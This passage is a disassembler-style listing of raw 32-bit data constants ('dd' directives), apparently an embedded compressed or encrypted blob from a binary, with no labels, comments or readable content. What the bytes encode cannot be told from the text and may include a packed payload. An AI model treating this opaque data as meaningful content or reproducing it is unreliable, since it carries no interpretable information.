		dd 74B46E0Bh, 0AD2E266Ah, 738739CFh, 0C04305E1h, 0BB36399Ah
		dd 545AA500h, 0FA5FEC82h, 2039D1B1h, 0D5C681D8h, 14085041h
		dd 827876h, 0DC3D1F5Dh,	8FB34D09h, 97B54800h, 6F4FB771h
		dd 7B8700E2h, 3AF6DF78h, 34A473C1h, 2E4B08C5h, 96FF8002h
		dd 0A0A1357Bh, 7CD6F0h,	32CC97B1h, 1DFFB56Bh, 14412F00h
		dd 0AD563F85h, 7EA324A1h, 0C193044Ch, 0D0609034h, 1809FF6Bh
		dd 231DE5h, 409CA13Ch, 93820C21h, 0D4293628h, 20E12284h
		dd 2D8834E0h, 998893Ch,	0F4111EE5h, 1751133h, 136C7C11h
		dd 5844BCC9h, 2C915D35h, 0B0286028h, 2888F3A2h,	0A58836ECh
		dd 0E49139h, 0D103498Ah, 22CD4A2h, 4CEB8350h, 26400830h
		dd 0AE4BC35Bh, 1D007CBCh, 17391A29h, 0DF008346h, 719B726Ch
		dd 36F934Bh, 8562B552h,	3FD866B9h, 40002164h, 0CD743726h
		dd 78FD9B8h, 4371BBA2h,	2C80998Bh, 69954AB1h, 688D1003h
		dd 8084648Eh, 474250h, 6661C2E7h, 0FE7CB006h, 0C5301E00h
		dd 3D2A6D0Eh, 0B2C3000Dh, 9070587Eh, 21006067h,	0F716465h
		dd 7315E77h, 3882A2ACh,	54F6086h, 0FA1DC687h, 0EC83049Bh
		dd 80D1D675h, 98AD15h, 4077F43Ah, 0E25B2839h, 0D8D2070Fh
		dd 0BF0F82Dh, 0AD7652h,	8B4A8D6Ah, 73BDE0DEh, 3D97A601h
		dd 63D93324h, 3A086C34h, 0AD807537h, 7D31613h, 3C00F391h
		dd 0CDD4352Ah, 7FD747h,	0CE275ACBh, 0EF6506AFh,	0F80360E4h
		dd 3AA6175Fh, 75C7A823h, 766903BFh, 59E131B5h, 2A8E03E8h
		dd 4544B300h, 7FC653F4h, 0EB64004Ch, 1A9C4A74h,	320055B6h
		dd 6ADFD8C8h, 0EE3DD3Fh, 333D90CAh, 0D78CDB20h,	69019C7Ah
		dd 1EDC9BB3h, 0B880D450h, 0E7D9C34Ah, 81032ECDh, 6BDA9F7Ah
		dd 5373F8BCh, 0E5F0005Ch, 0AC4CF26Eh, 8204A148h, 32DC8790h
		dd 0F815ABC3h, 3E78D99h, 0BA816454h, 0C5D0445Eh, 0A59884CCh
		dd 117CFA7Fh, 34704E03h, 29CDD0A5h, 83981C78h, 649887C2h
		dd 5380978Bh, 0D400DD84h, 4E837A02h, 7EFB0AEh, 0D2A21DB8h
		dd 5D0DC0E4h, 0FAF40B42h, 0DE8E8703h, 0E07CED96h, 1F03551Fh
		dd 8013BE63h, 0B383A869h, 6270344Eh, 0D1738E00h, 2C812F75h
		dd 721E0026h, 50C1AA3Eh, 740012B0h, 0A49AA9DFh,	0B5AF7Eh
		dd 320F304h, 19EF25D6h,	8C892D13h, 85360C00h, 1C627C0Fh
		dd 406766DFh, 0A0BA018Ah, 8F0060B4h, 0EF3E56BFh, 79F229h
		dd 4FF9A839h, 0B2D3D0CBh, 0E5F11024h, 0FBFA2E00h, 0E3294961h
		dd 0BD3694F8h, 3721A740h, 41101C00h, 0D184EDD6h, 0D971AEh
		dd 517D2579h, 0C9927668h, 9500BB70h, 8BA95D27h,	877EADh
		dd 1B70E046h, 916B9E28h, 89291800h, 0B2314164h,	0C68B3D95h
		dd 615C2100h, 0E6910B7Bh, 86338401h, 52F33FA8h,	0FFDDD4h
		dd 99A9D18Ch, 0DC32E097h, 8015263Dh, 0EC146260h, 2A6E8Dh
		dd 0FCCBF6A9h, 139FC73Ch, 995AEB00h, 51487BB4h,	74DF0085h
		dd 20F4958Ch, 90778BA5h, 0E3DE7800h, 0E13C83FDh, 227F93h
		dd 98FBA741h, 7436A94Eh, 0A8140A00h, 7A638999h,	0EA95002Ch
		dd 0A5E3A007h, 80009A90h, 71AE703Ch, 7A132A8h, 2E41B96Eh
		dd 0C94493DFh, 7C4875D0h, 30451C00h, 0BF210E5Bh, 5FFE001Fh
		dd 0DA4A59AEh, 90003F47h, 435C588Dh, 0B081E6BCh, 0D151FE4h
		dd 38750077h, 0D74CC2A9h, 0ACCDC800h, 8F2DE7F9h, 0E3060391h
		dd 0C512705Ah, 0EC322C89h, 49001833h, 547615AFh, 24A6F24h
		dd 12E6F951h, 33E04087h, 37016004h, 0BF852E71h,	51E06606h
		dd 0AC6E00B5h, 807BAE0Bh, 4200F4C7h, 3C8EA0E3h,	0B8799FB7h
		dd 77BC26E5h, 3B0208Ch,	0CC039AA1h, 5788AE28h, 4D181448h
		dd 292179BEh, 78B2F644h, 2DAB0198h, 85B3E397h, 82F8F33Ch
		dd 0C700C61Eh, 8F5ACE9Dh, 0E8B772DEh, 0EDFB0011h, 0B433ABFAh
		dd 9500B867h, 0EE4EE339h, 3C907F66h, 0CA800327h, 0A2793AD0h
		dd 0BB00212Fh, 0A87AC0E6h, 7F8720h, 0C13F0BA0h,	0CFAAADFCh
		dd 10CCED01h, 13F0195Bh, 7F42B1F8h, 0A07E70h, 0B96F75BFh
		dd 0E7A7C6AFh, 4D6DB700h, 0E5A1B5CCh, 281800E8h, 1E88EFB4h
		dd 0D400EA03h, 59818D33h, 9868F3h, 0FFBD4CAFh, 5D0FF0D9h
		dd 0CC99B201h, 0B91536EEh, 94519040h, 32090037h, 0ACEA0EEFh
		dd 2A1C77D9h, 6CC02F63h, 54E1D697h, 9A4000ECh, 15CC99Dh
		dd 4B051F3Ch, 8586D0D4h, 92482481h, 50659A00h, 0B3D90E00h
		dd 0BCF2E454h, 6FFD027Eh, 0A7EEBE25h, 2480C560h, 17ADAC00h
		dd 0ECDD7833h, 349D58ABh, 9696FD3Dh, 5C4C0091h,	0C6869052h
		dd 15B66F00h, 517073EEh, 264B077Bh, 80D70131h, 0D6D2C68Ch
		dd 80E5B03Ah, 0FE282B1h, 99EF56Fh, 0D7A27A38h, 0F04E0C80h
		dd 0E9F66055h, 80AB916h, 809B2800h, 900FEA1Eh, 0B0FD1C4Ah
		dd 3C7F0E70h, 8060C6C4h, 4C619F34h, 82E04904h, 8C80AE3Eh
		dd 0E8FB57BDh, 67E400B6h, 0CF9BCC7Fh, 0B700750Eh, 3829601Fh
		dd 0CEFC22h, 5641BC45h,	5DC43A64h, 918F424h, 733D10Bh
		dd 0B6A09A48h, 7C8917Bh, 253C9CB1h, 50B4F245h, 0FA3D8040h
		dd 0BEFE20Eh, 217FE4D8h, 0F6DB80EBh, 8707BF9Bh,	92D958BAh
		dd 428A430h, 0B8943Ah, 3222E2E9h, 5CBAF4B5h, 906A8B01h
		dd 468DADE7h, 0CED44DF9h, 3BC778Fh, 677718BAh, 75E34023h
		dd 0B0AA45C8h, 96B28E05h, 6483E882h, 610FFC85h,	0FE01A5E1h
		dd 568493DDh, 9493F400h, 0DA2541h, 0F54C1E29h, 0D9B2DC6h
		dd 0FFEC1A00h, 5C17F8A5h, 297C0035h, 5E92F153h,	0FC002D40h
		dd 5DF49174h, 0C4C1756h, 0C68EFA42h, 2B02A55Ch,	0A7EF236Dh
		dd 7A0B6136h, 78C1DCh, 0AF4B338h, 0BEACF7C5h, 0EEC9E518h
		dd 39411838h, 0BA011CE4h, 2F98E795h, 7483700Bh,	7699FB00h
		dd 0A74870B8h, 34864887h, 0B543E808h, 0C7EA8A8h, 0CA010F77h
		dd 12D4FB24h, 0FC60B544h, 0F6D8E064h, 25D71C89h, 0F4D18563h
		dd 0C27C8093h, 9004452h, 0DBD481D9h, 7E1A02h, 8D40CF2Eh
		dd 0F9AFEA23h, 64A78300h, 4313E5F6h, 375800DAh,	72A3364Eh
		dd 0F8B0DFB8h, 0B52E6402h, 0C0CB5402h, 83757Ch,	0DA62EC1Dh
		dd 734B40FAh, 0A64E9530h, 18A48Bh, 5CFBE75Eh, 6212E333h
		dd 4738CA60h, 4D1B2Bh, 3155663Bh, 0DF169FDAh, 4042DE0Bh
		dd 12B00092h, 7606CB8Ah, 17C45898h, 68CD16h, 0D5C81D32h
		dd 0B200D2C2h, 74629902h, 0EAC9C64Fh, 67B7005Ah, 7D45D428h
		dd 0B300AE57h, 11DF9EFDh, 962ED2h, 534E55F6h, 0AE56DBB2h
		dd 50878D00h, 0AA5C9BE4h, 0E60A006Ch, 7E38D9B8h, 1D48BEF4h
		dd 466B0078h, 0F7D66AEDh, 7BD31ECCh, 0AE2E928Ch, 91B25A00h
		dd 3F504E97h, 3B83FA58h, 0D206C687h, 0E62E3688h, 0F927DC01h
		dd 786AA1Fh, 404C4F8h, 0DD1B87A5h, 6E80C093h, 380196B4h
		dd 0DC3AB4Bh, 0B13B86B7h, 5A68873Bh, 0AFB7ACF6h, 5715EDF0h
		dd 6AD50060h, 3F1C1AC3h
		dd 0BC0059E4h, 5155CAA8h, 26C90605h, 48050CCh, 21E91B7Ah
		dd 2ECCC85Bh, 0DD540077h, 0E6E3357Bh, 0D000EF80h, 6071F70Eh
		dd 6321F6h, 0B2113C4Dh,	5A67D9E2h, 2E5D7900h, 9395A8F4h
		dd 0FDFA02DEh, 0B9E8025Eh, 24E250E0h, 7C38E701h, 0A33468ABh
		dd 5850CEh, 0AAD9C286h,	6643E7A9h, 0DEE5100h, 408015F5h
		dd 97CC0F90h, 0AC85D4F4h, 2594C203h, 4548C0F5h,	5E700369h
		dd 87B98584h, 0DBF8F0C0h, 0AAE83F14h, 52D4079Ch, 640DC47h
		dd 59B77C31h, 0E100A821h, 9CC76EDAh, 0E2B86DF5h, 0C8062C01h
		dd 566A7E79h, 0C4FFECh,	6D606796h, 0A6B7934Ah, 885E8003h
		dd 0A9F161C6h, 42C4C0F5h, 77D77882h, 0D2CC0058h, 28CAFD08h
		dd 4C00B584h, 0F4D5FE8Ah, 0E32BD9h, 7E5B6040h, 3765E6CBh
		dd 0A7F3FD2Ch, 62983900h, 0A48891h, 0DD7AE4Ch, 262BBC02h
		dd 0AF376C01h, 54283297h, 0E23E3820h, 0B7B300E5h, 0C8ACD8A0h
		dd 7318E0EBh, 0C1B0A64Ah, 681E0386h, 7F63DB36h,	0C697FBE0h
		dd 0B9A2A800h, 0EC1EE6Ch, 0BEA13D13h, 47669E8Ah, 19FB00ACh
		dd 32415BF3h, 0D32BAB00h, 90240563h, 3D6FFEEFh,	7016EE78h
		dd 0C07C1E7Ch, 30027B80h, 5600B960h, 92BE074h, 2E13594Eh
		dd 8954D111h, 1C80BF8Eh, 93F98477h, 80374100h, 0D6835557h
		dd 5EBC0025h, 0CD632D64h, 3B009ACAh, 65B0E047h,	3B893AAh
		dd 0C706863Ch, 188DC68h, 3A008218h, 0EC807FBEh,	1EE2FB4Bh
		dd 80650F3Fh, 236F8AACh, 9B029E4Ah, 7EDA6EF5h, 2D2C60B6h
		dd 1FD52585h, 4A12C41Eh, 68129929h, 0F1979483h,	8EE8839Eh
		dd 3B7F00DEh, 0DC80884Ch, 0E009D6Ah, 86FCA6D3h,	4A5EB429h
		dd 28013F6h, 353ED198h,	706CA0C0h, 0E6E4300Eh, 818EE37Ah
		dd 0D5180152h, 4F80A2C8h, 349E70C4h, 0A4969B7Ch, 0B02EBE10h
		dd 0E9D301EAh, 20152D89h, 8803DFE4h, 0E39B5A8Bh, 568C892h
		dd 0A6E7019Eh, 98FAA2FBh, 0E95BF4B4h, 0AF006E7Bh, 877917F1h
		dd 7C9608A9h, 8DC31216h, 0CE800039h, 9B019309h,	0B5BCDD00h
		dd 0FDDA8086h, 0E34526E9h, 23990058h, 83EB6441h, 0CD00D4EEh
		dd 4BCAD8ECh, 3F325279h, 7A008EF2h, 126AA3Dh, 3130C1B8h
		dd 2E38C71h, 56CF00B5h,	5554C650h, 0E475EF91h, 0B0487316h
		dd 2404271Dh, 458049F7h, 0B98E2627h, 0D6020008h, 0AAF199A9h
		dd 7D6A1800h, 300824FBh, 68620493h, 9065B410h, 16A785D4h
		dd 0C09E9412h, 8054D4C2h, 4D51ED8Ch, 0EAA7FE2h,	1F9A8EBBh
		dd 3F9ECDE0h, 59007964h, 0BE71367Dh, 0FCDF8685h, 755EED7h
		dd 832DFB75h, 68C0891Fh, 7926815Eh, 0A2801C44h,	0B58DFCA7h
		dd 0F8941F38h, 1DBDC057h, 5551DE5Dh, 0D119652Ch, 0AE4E7E00h
		dd 672371h, 0C438667Dh,	818FD2C7h, 0BB139D00h, 0E33B6AFDh
		dd 9C8805E7h, 9238CBh, 0C929A1BCh, 7426093Ah, 0C5017041h
		dd 7C048532h, 7D119Fh, 0AD15B730h, 7700F0DFh, 0C60BFDE8h
		dd 0A9AFFBh, 4CD63C54h,	0E3EB4353h, 56C58D00h, 0CD8CBC68h
		dd 0E45B1C79h, 8F3D4071h, 85F4D93Eh, 74802D03h,	0E064426Dh
		dd 18B5CBh, 6E691D26h, 55F412EFh, 0BB6CE300h, 89DB3CEh
		dd 24AE7A0Bh, 15C7169h,	1C2FE516h, 86787025h, 22DF4403h
		dd 8095835Ah, 0B79FAFh,	510B8E5Dh, 9A88180Dh, 0B32C6E1Ch
		dd 0CE6F5300h, 70FA4D5h, 0E1021BDAh, 80BC1408h,	0AA049DCh
		dd 3C2B203Dh, 6900F4F8h, 0B955950Fh, 39DEE0h, 0EAB6C0FCh
		dd 4974CE8Ch, 533338h, 705910DFh, 0B58302h, 0CA3A7666h
		dd 4ADA818Dh, 0E5623700h, 30486518h, 161F0331h,	0B5CCB4EBh
		dd 74730F98h, 0D471F516h, 0F1B700FFh, 9EDDE712h, 0B4E06507h
		dd 0E350BDFBh, 0EDAB8CBh, 0DC50D0A1h, 0F79E18A0h, 1202245Eh
		dd 8CB472Ah, 10E0D7FCh,	3B006865h, 5B56496h, 99F7A87h
		dd 0D851BBD7h, 0CA7E0Ah, 0C02E43Eh, 7E0F9D10h, 0E04F487Dh
		dd 58E3E553h, 7B310505h, 5899637h, 952EA0h, 621B909Fh
		dd 7A13E9EEh, 2405D9DCh, 0FC95084Bh, 0A18BC440h, 26F971E0h
		dd 0CB9577h, 92ADF4A6h,	9A2C08F8h, 6600C1FCh, 5F3B9028h
		dd 1CE90005h, 46C99E3Ah, 2F2E9541h, 6117D8CEh, 456B5505h
		dd 61F1DC0Eh, 7FA79653h, 7AD44BF4h, 0F68400B7h,	0ABB5455Bh
		dd 81045092h, 7ADE8CBEh, 0DBA19CD0h, 0BDE40046h, 0E02F65C4h
		dd 0C00070E5h, 6AEAF2FDh, 761CEh, 63FA3B40h, 0F1A885FFh
		dd 0F004BB00h, 9A78D36Bh, 0C2E2E4h, 3E45921Fh, 0A58E2AA2h
		dd 9DAB3600h, 0C83F2D77h, 6F8600D9h, 0B6C97862h, 2C01B799h
		dd 0E6656B4h, 5F60E2F3h, 3E3A1E92h, 79C500B1h, 0A610E393h
		dd 9EEBE51Ch, 0DE73D00h, 38D2F39h, 2AA85E99h, 0E401658h
		dd 0A400CEE0h, 285BF98h, 7D08E069h, 0CADA00D5h,	6ADEBD84h
		dd 0EE77E6D6h, 701F5B00h, 0CC23979Bh, 44432C31h, 0AAC80110h
		dd 21F77801h, 0C6FA00E6h, 4200460Dh, 0EC6270DEh, 90643D3Fh
		dd 0F96A14B4h, 9602A854h, 8348C239h, 0DA005078h, 3C924C65h
		dd 4FAA45h, 0DD7C4ECEh,	0DF10B3D4h, 3B8E340Eh, 0DA18001Dh
		dd 88792Dh, 81EFAD25h, 95BD3693h, 81B40549h, 8082D027h
		dd 757FF0D0h, 67FB00D7h, 0D83EC876h, 6A26B14Ch,	43007F01h
		dd 90B06435h, 95CC0461h, 80F54F38h, 49CB0631h, 2800E04Eh
		dd 16CE903Eh, 0EC6A00B9h, 0E784C889h, 0F500094Dh, 6339DC4Eh
		dd 3847AFh, 31BD02E8h, 899C970Dh, 557A8A00h, 0F0679BB3h
		dd 4CE900C0h, 958FC1A6h, 100FE31h, 5C63BFDEh, 7FC641h
		dd 4923E05Eh, 0D2F6428h, 338E4B07h, 0DC105DE4h,	0F92AE2h
		dd 0C9B89658h, 0E1379865h, 0CE8060B6h, 0F9444D39h, 6EA7000Ch
		dd 948901D1h, 8E03564Ch, 0E59BB0AEh, 3ECBA8FFh,	0DAFB0070h
		dd 681D1160h, 290F9FD6h, 4080CCF9h, 43AA5BE1h, 0BD130F6Ah
		dd 0C780B762h, 0B503F745h, 6E30F600h, 0B364E23Ah, 225200F1h
		dd 996BFA0Dh, 0FE3BB9FFh, 128C81Dh, 9E92C2DAh, 0C82057BDh
		dd 47163987h, 0B0A8CF12h, 0DAF4D528h, 4F1D5000h, 0AAE80EEFh
		dd 57500CBh, 0E7662989h, 0B000F4A3h, 0A21D84F3h, 0E2E98C6h
		dd 16ECAA4Dh, 72E0ED60h, 4FEBE3Fh, 0E1DACE02h, 0E86B59C2h
		dd 7C0CABCCh, 8B140272h, 349226B8h, 0AA929E0h, 9328AEE4h
		dd 610008DEh, 70A5DBB5h, 97A1B3D3h, 0C08042F8h,	110368B9h
		dd 5C0859D9h, 0E29200DBh, 0A5F2666Eh, 0F8015810h, 0A1523476h
		dd 33E54372h, 31F0807Ah, 5828801Bh, 87054866h, 1F47B559h
		dd 97B2780h, 2AD100E0h,	9A7AC5E2h, 83069D32h, 57C34337h
		dd 0BD480038h, 8D53AD47h, 0D0002AA7h, 3118FF90h, 7C34E38h
		dd 0D699D7A8h, 0C99A52E1h, 1B07A258h, 8C95802Fh, 0E20B8220h
		dd 96750B3Ah, 0DA00A4EFh, 41BC5E83h, 0EA621826h, 0DA688600h
		dd 7305C7Fh, 0C4323FDFh, 700BD092h, 0C507A909h,	82F0FD25h
		dd 0C64DAE80h, 3E2700B8h, 34CE1C14h, 0CD0078F6h, 0AA79A565h
		dd 0E8E618B1h, 538600A8h, 6CE5C72Eh, 31D780Dh, 0AB00F88Dh
		dd 37246105h, 0F0B67Fh,	0F7E7102h, 0C8F6221Eh, 94F34300h
		dd 21118FDAh, 0D30C1EF5h, 44C16512h, 18D0E0B6h,	108E7904h
		dd 0ECAD0B3Dh, 80FA1B02h, 440ADC4h, 1480BFFCh, 56F20F6Ah
		dd 7500D43Ch, 13211D15h, 7EB428A0h, 9D4FF500h, 419BFE06h
		dd 6A6D88C7h, 8767AA00h, 14E8043Fh, 0E2DE00ACh,	0E6A9801Eh
		dd 0B049A09Bh, 6A3C0E68h, 1593405Bh, 0E5D450h, 0A4D766E2h
		dd 2AEB5FBCh, 0A676201h, 894F392Bh, 0FA48DCh, 454EAA44h
		dd 4B2C2AE8h, 91F45004h
		dd 0E8E771h, 6900DB48h,	80BAAC95h, 311D03CBh, 0D89F494Bh
		dd 0A1F6ED47h, 19985AD0h, 0EE7B00BCh, 12973E2Ah, 5924B30Dh
		dd 3A40B871h, 0D824E18h, 7F65190Ah, 0A377F0E0h,	64664700h
		dd 9027F74Dh, 0C29207F3h, 0E1FC58F1h, 4BFB0756h, 46870004h
		dd 4B140D6Eh, 0AE130359h, 84047652h, 0A8956FE0h, 0B5E689FCh
		dd 1090A300h, 4A15817h,	0A4200009h, 794DC094h, 4A38B62Ch
		dd 3FB0072h, 0CBC2046Bh, 3669C059h, 0CA0247E4h,	0E8ED9503h
		dd 0A3F86BD3h, 9721005Ch, 0C923491Dh, 6D05DF8Ch, 6A4C26D2h
		dd 0EE652000h, 0E8C7EA3Ch, 58E500A4h, 690E3248h, 16FE622Dh
		dd 70364B00h, 0E7028EBFh, 0E2073A58h, 50C4D907h, 0FC2D80EBh
		dd 0F7305A1Fh, 7CD83017h, 0CE80A0EFh, 0ECE0BD6Bh, 2407CFE6h
		dd 2D559A66h, 0FCA08010h, 0FF061F87h, 4EB1C0C2h, 20794A36h
		dd 0BB9B121Eh, 306DCA00h, 0E77E23h, 2667D7B1h, 0BC05615h
		dd 0B229EC00h, 0CA5034DBh, 79C82720h, 4F037654h, 0B80677C0h
		dd 76B1E3DDh, 0FCF100D9h, 0C670599h, 0E603C053h, 0B78FD861h
		dd 98302463h, 32A7007Ah, 2A472108h, 0B2D27800h,	1CC6A144h
		dd 9055718Dh, 98BC60A9h, 928A820h, 4A32AC07h, 2136F9E6h
		dd 219C6008h, 68091F72h, 7C6E5F06h, 0B19B819h, 43EBD739h
		dd 32C9CE80h, 861FE34Dh, 26C1809Dh, 0EC37383Eh,	0CD35B881h
		dd 8369E5D6h, 0BBE732B0h, 5B50E075h, 4B450C67h,	9498E3DFh
		dd 92C048Ch, 622A3288h,	236E20A6h, 73099709h, 808A33DBh
		dd 4DB8685Dh, 15D903BDh, 61C74EC8h, 0FB335AB0h,	59AC2300h
		dd 0D80AB399h, 0DDDC1210h, 0BFB1006Dh, 5193E456h, 0D030AF0Ah
		dd 0BB80C46Ah, 57E7D5C4h, 0EEDC0012h, 378E27F2h, 2F015052h
		dd 45EB9107h, 0D3C45B19h, 0ABC0A099h, 17543B69h, 4220C787h
		dd 80B04CE6h, 0AD0190F8h, 0C6813D6Dh, 8987B95h,	62262176h
		dd 2697904Ch, 0E700867Ch, 8AC050A1h, 0CA3C06BBh, 9951D025h
		dd 0DFAF6E00h, 449ADA61h, 82D31DADh, 21671845h,	0DF009713h
		dd 538A062Eh, 0D208EBh,	0A4E2B8C4h, 0A6FDD79Dh,	0A4BA0D2Ah
		dd 68FF6A03h, 0F0CE2FF8h, 0B04DA064h, 71A406EFh, 88A87F6Bh
		dd 5ACFB518h, 0A0DA4E61h, 398695B0h, 9ABA1B5Eh,	30EE048Fh
		dd 0DD86D0Ch, 3461B260h, 3EFBD088h, 220CD886h, 0D4957D3h
		dd 75F89300h, 1380D56Dh, 42C207EDh, 0A8AA0332h,	0C088892h
		dd 927C0D3h, 424332AFh,	91E6F80h, 3BE45C72h, 0B30043F6h
		dd 0D9DF3DEAh, 0C3B7CB8Fh, 890F98D0h, 2377B8B0h, 6346DD00h
		dd 9ADB9425h, 0AEB2012Bh, 0EB472D65h, 0FC17F9Bh, 0C44B3B7Fh
		dd 98C072C8h, 0A943AEh,	407F39D1h, 76082F82h, 0A0EC1650h
		dd 0C900E571h, 4EAE47A5h, 4C3B384Ch, 0DB021481h, 5B0EBF3Fh
		dd 24C70440h, 65012893h, 5D6DB190h, 0C9404818h,	905F1C52h
		dd 4E8B5DC0h, 13446C38h, 0CE24D0DAh, 5461C3E6h,	6ACF33A8h
		dd 49C840F6h, 78A264D7h, 94F40F7h, 0A01FBB0Bh, 15D7B9FCh
		dd 0C89A5550h, 7E092680h, 448C1A32h, 2500889Eh,	0D9C87B09h
		dd 0A1A9DB57h, 9FF46DC0h, 9090C1E4h, 80C9D440h,	0C3495F18h
		dd 1E228DD7h, 0CE7C80h,	66A4E691h, 84A7B316h, 85634944h
		dd 0C4E5B6F8h, 0E1096092h, 8F8119BAh, 27FF4048h, 50B36Eh
		dd 0D7D8CCDDh, 5A45933Fh, 3086C002h, 41A5CAC6h,	29189944h
		dd 32AD091Ch, 39A21163h, 2B090089h, 45BB6F0Dh, 0A10B0922h
		dd 0A683D8A5h, 0CCA49C67h, 0B3445788h, 18856A70h, 9C46747Ch
		dd 9AF72700h, 6D30F240h, 0B6264492h, 7D8088D8h,	2B97A29h
		dd 81420027h, 0BF552DF0h, 50083FFh, 327C3F41h, 0D45167CFh
		dd 70C490h, 0B1E41033h,	0C963DD2Eh, 24073188h, 1C765Ch
		dd 0CFF1B5A7h, 0B2781303h, 2DD49950h, 9064328Ch, 0D4B34550h
		dd 230021B6h, 0E916905Dh, 1DC57FEBh, 8054AA2Bh,	0CE0DB4E4h
		dd 52003F8Dh, 0B4CF615h, 72E0CC9h, 6CB5E65Ah, 5C0FE7ABh
		dd 0E300E199h, 397A713Dh, 58679FE2h, 2101FDD3h,	0BDD75CA1h
		dd 62B0405Fh, 0B4E23054h, 251C3C90h, 39C1AF4Bh,	71AD89BCh
		dd 0ECF4D2F9h, 49D490B1h, 0AC80FC22h, 0D2DA60DFh, 145F448Ch
		dd 51DF9412h, 80E85408h, 0BC3CEA58h, 73F4CE7h, 1466ACE0h
		dd 9B306C01h, 344BE3F1h, 0A1C06CC8h, 47513EFh, 77AAEA8Ah
		dd 2FA898C2h, 0E1BD6812h, 1BC0005Eh, 0F1A54BC2h, 18887EABh
		dd 514FD13Dh, 540FE1DAh, 0EFB1B786h, 0ADA9C06Ah, 17A50718h
		dd 1D3BD77h, 157F924h, 0A2882387h, 4C7E30A0h, 0BBF3300h
		dd 6ACEDFF0h, 0D9232838h, 0C8555380h, 32F22051h, 6DAC9060h
		dd 0E0F47548h, 7C907C55h, 0E5B411F0h, 0DAE850C5h, 0B90D378Ch
		dd 945B5091h, 340040A2h, 0F3491FD9h, 28271CFh, 8176F2Dh
		dd 0CC60CD8Dh, 0B77E3496h, 7C0194A4h, 2D9002D4h, 0A18FE3BFh
		dd 0FE205903h, 472B54AEh, 0A5483778h, 0AAE48B2h, 6CB6843Fh
		dd 60802111h, 656DAE90h, 5F47448Ch, 8F907A02h, 6086B3D3h
		dd 17B8FFB6h, 46AFCF9h,	383BBFCh, 8433BC77h, 6C2C0CA2h
		dd 0CF890858h, 65DFAB60h, 4B3A21DAh, 0F3C6091h,	6FF7DF82h
		dd 0E8508F47h, 0C130910Bh, 5C840044h, 0CF759664h, 781868D0h
		dd 0A728020Bh, 5377E0EEh, 18D597ECh, 0B5D980A0h, 55FA5Ch
		dd 0F058517h, 3F306ABFh, 0B1E6C602h, 0A0E45B65h, 9B386D88h
		dd 0CE75974h, 823323C4h, 4C604E9Ch, 0E800E7C2h,	0BB959EA2h
		dd 1404D7Ah, 173C80B6h,	24C6BD5Eh, 8700EA00h, 8A5F2C08h
		dd 3A47619Bh, 0D6249C2Bh, 23848988h, 7DB2AA82h,	48C804CCh
		dd 888C079h, 0C2465F29h, 8900EF22h, 0EBB20930h,	3C056548h
		dd 0FF946EE9h, 40578CD8h, 8E00B822h, 1F5CB0ECh,	2B1228h
		dd 1454A942h, 222E9D91h, 0C30FB05h, 0C8810325h,	8C23A4C4h
		dd 0D306CE2h, 2923005Fh, 20E7DB85h, 382C5D68h, 8BDC04Bh
		dd 2A36B67h, 0C4932EA6h, 5C1DCC80h, 270B5303h, 90624544h
		dd 0A8E2BA90h, 0FC22378Ch, 120A17C1h, 0C89C1167h, 119ACD05h
		dd 39B48125h, 0D4430A61h, 4D30EEA2h, 0DE49006Eh, 0F1BD48E8h
		dd 0E118C5F7h, 36605791h, 694A26CFh, 9DA00220h,	0DCC20DA3h
		dd 0A5797851h, 77017E18h, 93A22938h, 6DC96B5h, 98DF51EBh
		dd 3242F040h, 3A0C2E13h, 44F30AA0h, 835F116Ch, 0D22708B2h
		dd 10D53192h, 88A83h, 78967F3Bh, 9DC357DAh, 0FB0BC4A0h
		dd 304608B0h, 62DFB201h, 0C4582DAh, 9A0E8866h, 0B2E7DF00h
		dd 65A0F781h, 0E8A558F5h, 503EFB14h, 0AC015D23h, 0A25F3508h
		dd 8501BC4Eh, 0F20E08B4h, 8121D4E2h, 92720C04h,	4090EABFh
		dd 3EF2DABh, 64A39ADAh,	2F98C15Dh, 5052FE5Eh, 30A1F2BCh
		dd 0B11F8A6Ah, 7114CF5Ch, 0AC9868ECh, 3EEF4674h, 0AEE880ADh
		dd 7F86CCDh, 71461A65h,	24E570AFh, 18C774E2h, 0FE12788Fh
		dd 5C9CD3F7h, 0D8565C1Bh, 98C9FBCh, 28875EEAh, 54066401h
		dd 0C470355Ah, 24182779h, 0FF31B60Ch, 0E163010Ah, 7E93F16h
		dd 43C86408h, 0B0288604h, 70A4CFB4h, 0D120247h,	0C5245523h
		dd 0C0EFBF18h, 0D0D18BD1h, 0C61E9F12h, 3840D6F1h, 9A7784A7h
		dd 62E201F0h, 0FF23CE1Dh, 41AC2339h, 0AB30F6C4h, 5F280808h
		dd 0EB648D6Ah, 8B78040h, 4103A074h, 0F3D5A2FAh,	21639804h
		dd 2FDB12FBh, 9FC8C084h, 60C87A07h, 87DC078h, 3A265F26h
		dd 8A58E09Ch, 0D9093931h, 43A4870Fh, 73306DC1h,	23A872E4h
		dd 0DF043D2Fh, 38AADA5Fh, 0DF990011h, 261A4DC6h, 0FC904FB8h
		dd 0D4B6F518h, 0F27FA171h
		dd 34B869h, 0D27E6612h,	9BB5A7C1h, 1146CA00h, 0B1A1FCF1h
		dd 0FB2E3977h, 7E403CBh, 0E87CABEBh, 0E6032618h, 302FD9A0h
		dd 5F18BA18h, 74916932h, 0C718EED1h, 31F4980Eh,	5D45E0F1h
		dd 166D6177h, 5963DF32h, 30531098h, 9A2469DFh, 0F109B0ADh
		dd 0DF406885h, 50B22E29h, 8FDAE020h, 2CB49A63h,	0A7A3ED01h
		dd 0E039D293h, 0D40F3E58h, 0C100C95Ah, 26BD1E4Bh, 189CDB2Eh
		dd 8BDEBC80h, 0E907D887h, 0FE77E982h, 0F8E5E0A3h, 3429A524h
		dd 0DC5F6184h, 9EC4ECD0h, 795C9941h, 1EF18EBh, 2950CA7Bh
		dd 45B5B071h, 0E3C98EAh, 187BB8A1h, 2B08287Eh, 2C9C57C7h
		dd 9268707h, 1FF650FBh,	0B800CED9h, 1461E884h, 0A8EDF727h
		dd 147FC6ECh, 8E7BF36h,	65CFB60Ah, 0B227809Ch, 5E18D147h
		dd 0A2314400h, 962B6F06h, 140A901Ah, 0C815A007h, 5AEAC13h
		dd 126D77E0h, 74846FE4h, 0CC2D907h, 0BC334407h,	0D3881853h
		dd 303C9162h, 0B4FCB500h, 0AE1608FFh, 49D8014Eh, 0ECD3FD6h
		dd 0BCC8295Bh, 9CC7915h, 0DBEF969Ah, 0C8182E84h, 0CB004180h
		dd 7AC0D7FEh, 59640Ch, 54A0DFCEh, 208379E3h, 35FDD600h
		dd 44C2DA68h, 7928B157h, 3DC18A0h, 53E340E7h, 22CBEA91h
